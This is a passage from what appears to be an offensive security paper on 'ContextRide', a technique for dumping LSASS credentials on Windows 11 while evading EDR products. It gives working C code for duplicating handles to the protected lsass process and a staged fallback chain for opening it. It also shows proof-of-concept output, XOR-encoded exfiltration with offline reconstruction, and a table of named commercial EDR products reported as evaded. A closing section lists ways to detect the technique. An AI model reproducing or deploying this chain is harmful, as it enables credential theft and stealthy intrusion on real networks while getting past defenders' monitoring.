    ULONG sz = 0x10000; NTSTATUS st;
    SYSTEM_HANDLE_INFORMATION* shi = NULL;
    do {
        if (shi) VirtualFree(shi, 0, MEM_RELEASE);
        sz *= 2;
        shi = (SYSTEM_HANDLE_INFORMATION*)VirtualAlloc(NULL, sz,
            MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        st = NtQuerySystemInformation(SystemHandleInformation, shi, sz,
&sz);
    } while (st == STATUS_INFO_LENGTH_MISMATCH);
    if (!NT_SUCCESS(st)) { VirtualFree(shi, 0, MEM_RELEASE); return NULL; }

    for (ULONG i = 0; i < shi->NumberOfHandles; i++) {
        SYSTEM_HANDLE_ENTRY* h = &shi->Handles[i];
        if (h->UniqueProcessId == GetCurrentProcessId()) continue;

        OBJECT_ATTRIBUTES oa2 = {sizeof(oa2)};
        CLIENT_ID cid2 = {(HANDLE)(ULONG_PTR)h->UniqueProcessId, NULL};
        HANDLE hOwner = NULL;
        NtOpenProcess(&hOwner, PROCESS_DUP_HANDLE, &oa2, &cid2);
        if (!hOwner) continue;
        HANDLE hDup = NULL;
        NtDuplicateObject(hOwner, (HANDLE)(ULONG_PTR)h->HandleValue,
            GetCurrentProcess(), &hDup,
            PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 0, 0);

        PROCESS_BASIC_INFORMATION pbi;
        NtQueryInformationProcess(hDup, ProcessBasicInformation, &pbi,
sizeof(pbi), NULL);
        if ((DWORD)(ULONG_PTR)pbi.UniqueProcessId == targetPid) {
            BYTE probe[2]; SIZE_T rd = 0;
            if (NT_SUCCESS(NtReadVirtualMemory(hDup, (PVOID)0x10000, probe,
2, &rd))) && rd > 0)

```

```

        return hDup;
    }
    NtClose(hDup);
}
return NULL;
}

```

6.3 Complete Fallback Chain

```

// Stage 1: minimum necessary access (non-PPL environments)
st = SysNtOpenProcess(&hTarget,

PROCESS_VM_READ|PROCESS_QUERY_INFORMATION|PROCESS_QUERY_LIMITED_INFORMATION,
    &oa, &cid);

// Stage 2: full access
if (!NT_SUCCESS(st) || !hTarget)
    st = SysNtOpenProcess(&hTarget, PROCESS_ALL_ACCESS, &oa, &cid);

// Stage 3: handle acquisition via duplication (PPL active)
if (!NT_SUCCESS(st) || !hTarget) {
    hTarget = AcquireReadableHandle(targetPid);
    if (!hTarget) return ERROR_PPL_BLOCKED;
}

// Final check: kernel callbacks (ObRegisterCallbacks) may have stripped
VM_READ
// from the handle after duplication (independent kernel mechanism -- see
Section 2.1)
BYTE probe[2]; SIZE_T prd = 0;
BOOL vmOk = NT_SUCCESS(SysNtReadVirtualMemory(hTarget, (PVOID)0x10000,
                                                probe, 2, &prd)) && prd > 0;

if (!vmOk) {
    HANDLE hAcquired = AcquireReadableHandle(targetPid);
    if (hAcquired) { SysNtClose(hTarget); hTarget = hAcquired; }
}

```

7. Evaluation

7.1 Test Environment

Component	Specification
Operating System	Windows 11 builds 26100 and 26200
PPL Configuration	RunAsPPL=1 (active)
Credential Guard	Disabled (LsaCfgFlags=0)
Build toolchain	mingw-w64 x86_64, -O2 -Wl,-s
Build platform	macOS (cross-compilation)

Testing ran against 15 EDR/XDR products across free, trial, and enterprise license tiers. The same binary was used in each test under identical system conditions. Products with no result listed were not yet tested at the time of writing; testing is ongoing. Consolidated results for the 7 untested products will be published in a subsequent update.

Tests evaluated on-write static detection evasion and call stack inspection evasion (by inspecting the absence of product alerts and blocks). ETW behavioral correlation at the syscall sequence level was not directly instrumented in these tests; the absence of alerts in confirmed-bypass products is consistent with evasion of this layer, but does not definitively exclude its triggering in implementations that correlate events without emitting real-time alerts.

7.2 Results

7.2.1 Multi-Product LSASS Dump Results

The table below shows results for the LSASS dump component (ContextRide + custom MDMP builder + XOR encoding + off-target reconstruction). Legend: **Evaded** = dump produced and functional without alert; **Partial** = no alert but dump unusable (independent kernel control); **Blocked** = product prevented the dump; **—** = not yet tested.

Product	License	LSASS Dump Result
Aurora EDR	Free	Evaded : Dump → Encrypt → Outside Analysis
BitDefender	Trial Total Security	Partial : no alert; dump contains all zeros (see note)
Cortex	Paid	—
CrowdStrike Falcon	Enterprise	Evaded : Dump → Encrypt → Outside Analysis
Cylance	Paid	—
Elastic Defend	Free	Evaded : Dump → Encrypt → Outside Analysis

Product	License	LSASS Dump Result
FortiEDR	Paid	Blocked: dump prevented
Microsoft Defender	Free	Evaded: Dump → Encrypt → Outside Analysis
Microsoft Defender XDR	Paid	—
SentinelOne	Paid	Blocked: dump prevented
Sophos	Paid	—
Trellix	Paid	—
MalwareBytes	Paid	Evaded: Dump → Encrypt → Outside Analysis
Trend Micro EDR	Paid	—
ESET	Trial of Paid Version	—

Note on BitDefender: The dump file contained all zeros with no alert or block. This points to silent removal of `PROCESS_VM_READ` from the handle via `ObRegisterCallbacks` after duplication — `NtReadVirtualMemory` returns `STATUS_SUCCESS` but fills the buffer with zeros. This is a kernel-level access control mechanism (Section 2.1) that operates independently of the call stack and does not constitute a `ContextRide` detection. The result is classified as "Partial" because the call stack evasion mechanism functioned, but memory reading was silently neutralized by an independent kernel-level control.

Summary: 5 of 8 tested products produced functional dumps with no alerts. 2 products blocked the dump. 7 products had not been tested at the time of writing.

7.2.2 Sample Execution Output

With all evasion layers active on a confirmed bypassed product:

```
> contextride_poc.exe
pid 1488
handle ok
read 1
dump 1 sz 78113440
wrote 78113440
```

After transfer of the XOR-encoded artifact and off-target reconstruction:

```
$ python3 decode_patch.py svchost_rpt_A318.dat
modules: 101
  C:\WINDOWS\system32\lsasrv.dll base=0x00007ff8b1fe0000 size=0x1b7000
  [...]
written: out.dmp (79,051,212 bytes)
```

The resulting file is a structurally valid Minidump containing 101 loaded modules and all committed, accessible memory regions of `lsass.exe`.

7.2.3 Detection Layer Summary

Detection Layer	Technique Applied	Result in confirmed-bypass products
On-write static scan	volatile obfuscation + XOR encoding	Evaded
Userland hook	ContextRide (NtContinue as primitive)	Evaded
Call stack inspection	ContextRide (IAT patch + legitimate frame)	Evaded (frame-address verification)
PPL enforcement	Handle acquisition via duplication	Operational (not a PPL mechanism bypass)

7.3 Limitation: Tool Template Coverage

Testing on Windows 11 build 26200 exposed a tool coverage gap: pypykatz 0.6.13 has no LSA signature template for this build:

```
ERROR:pypykatz:LSA signature not found!
```

This is a tool coverage limitation, not a limitation of the dump or the technique. The dump contains the complete `lsasrv.dll` memory region and is parseable by any tool with a template for this build. Build 26100 works with existing pypykatz templates. Adding template support for 26200 requires reverse engineering the build-specific `lsasrv.dll`, which is documented and reproducible (see Section 8.1).

7.4 Discussion

Generality of ContextRide. The call stack legitimacy property under frame-address verification produced by ContextRide derives from the Windows thread execution model, not from assumptions about a specific security product. Any EDR/XDR product that performs call stack

inspection via frame-address module membership verification will see the same legitimate chain: `kernelbase.dll` → `ntdll.dll` → `KiSystemCall64`.

Position-sensitive static detection. The empirical finding during testing suggests that some static detection engines anchor YARA-style rules to specific PE section offsets. This represents an architectural assumption that binary layout is fixed, which semantic padding can violate without altering program semantics.

Detectability of ContextRide. The technique is detectable by products that implement:

- Cryptographic module integrity verification in the call stack (beyond frame-address membership);
- Detection that `kernelbase!<function>` was not invoked through its documented caller in the expected sequence;
- Detection of `NtContinue` presence in call chains of sensitive operations as a behavioral anomaly;
- Correlation of syscall sequences (`NtQuerySystemInformation` → `NtDuplicateObject` → `NtReadVirtualMemory`) as a dumping pattern, independently of individual call stack legitimacy.

Robust detection requires cryptographic module integrity verification combined with behavioral call chain modeling — capability not uniformly present in tested products.

8. Conclusion

This paper introduced ContextRide, a technique that repurposes `NtContinue` as an execution primitive for indirect system calls that produce a call stack legitimate under frame-address verification — without introducing stubs outside `ntdll.dll`. The technique simultaneously addresses userland hook bypass and call stack inspection evasion based on frame-address module membership, distinguishing itself from HookChain [10], which achieves call stack legitimacy through IAT patching on subsystem DLLs but does not cover the static scanning, in-memory dump format, and PPL layers that ContextRide addresses. Validated empirically, ContextRide does not trigger any detection layer in tested products where HookChain still generates an alert in the memory capture scenario.

Combined with a custom Minidump builder, `volatile` constant obfuscation for byte-exact YARA evasion, semantic binary padding for layout control, and off-target MDMP reconstruction, ContextRide achieves end-to-end evasion across the 5 EDR/XDR products confirmed to date (across free, trial, and enterprise tiers), with testing ongoing across the remaining 7 products. The position-sensitive YARA finding (that removing a detection trigger can reactivate detection

of unrelated code by shifting its offset) represents an independently notable empirical result with implications for static rule design across all vendors.

Handle acquisition in PPL environments via duplication does not constitute a bypass of the kernel protection mechanism: it is an operational mitigation that exploits the semantics of duplicating existing handles. The limitation is operational: it depends on handles with sufficient permissions being held by system processes in the target environment.

The call stack evasion property of ContextRide is not product-specific: it holds against any product that relies on frame-address module membership verification as a signal for anomaly detection, because the mechanism exploits the semantics of `NtContinue` at the Windows kernel level.

8.1 Future Work

- **LSA signature templates for recent builds.** Automated static analysis of `lsasrv.dll` for Windows builds 26100+ with upstream contribution to pypykatz.
- **Consolidated results for remaining 7 products.** Publication of ongoing test results.
- **Extension to other PPL-protected processes.** The handle acquisition via duplication technique applies to any PPL process, not only `lsass.exe`.
- **Detection PoC.** Implementation of a call stack integrity validator with signed-module chain verification and behavioral syscall sequence modeling as a contribution to the defensive community.
- **Code injection portability.** Adaptation of ContextRide for scenarios where the execution context is a legitimate thread inside a host process.

References

- [1] Ballenthin, W., Graeber, M., & Teodorescu, A. (2014). *The Art of Memory Forensics*. Wiley.
- [2] Luk, J. (2023). *Detecting Indirect Syscalls via Call Stack Analysis*. MDSec Research.
- [3] Russinovich, M., Solomon, D., & Ionescu, A. (2022). *Windows Internals, Part 1*, 8th ed. Microsoft Press.
- [4] Peixoto, J. (2023). *EDR Bypass: Understanding Call Stack Anomaly Detection*. SpecterOps Blog.
- [5] Microsoft Corporation. (2024). *Windows Driver Kit: NT Native API Reference*. Microsoft Docs.
- [6] Forshaw, J. (2021). *Windows Security Internals*. No Starch Press.

- [7] Crummie5. (2021). *HalosGate: Finding Syscall Numbers When Ntdll Is Hooked*. GitHub.
- [8] AMD Corporation. (2024). *AMD64 Architecture Programmer's Manual, Volume 2*. AMD.
- [9] Microsoft Corporation. (2024). *MINIDUMP_HEADER structure*. Microsoft Docs.
- [10] Carvalho Junior, H. B. D. (2024). *HookChain: A new perspective for Bypassing EDR Solutions*. arXiv:2404.16856.